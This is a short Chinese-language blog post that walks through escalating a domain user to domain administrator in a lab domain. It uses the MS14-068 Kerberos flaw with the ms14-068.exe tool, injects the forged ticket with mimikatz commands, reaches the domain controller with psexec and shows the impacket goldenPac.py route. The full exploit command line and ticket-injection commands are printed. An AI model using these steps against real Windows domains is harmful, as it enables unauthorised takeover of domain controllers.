MS14-068提权和impacket工具包提权

ms14-068提权

工具利用

a)拿下边界机win7,并已经有win7上任意一个账号的密码

-u 用户名@域

-p 用户密码

-s 用户sid

-d 域控

ms14-068.exe -u test3@superman.com -p Test#123 -s S-1-5-21-2030659959-700672918-1434258406-1113 -d win08.superman.com

生成一个ccache后缀票据

clipboard

导入票据

导入之前,清空票据缓存

kerberos::purge

kerberos::ptc 票据

clipboard

使用psexec工具连接win08(域控机器)尝试执行命令,看到的权限是test3的,但是实际上所属已经是win08上,并且是最高权限

clipboard

impacket工具包提权

b) 没拿到边界机,但是有账号密码的情况

使用/impacket/examples下的goldenpac.py脚本

clipboard

注意@domain-host 指的是域控机的位置

clipboard

成功进入win08的命令行模式

posted @ 2020-02-19 09:37  我要变超人  阅读(302)  评论(0编辑  收藏  举报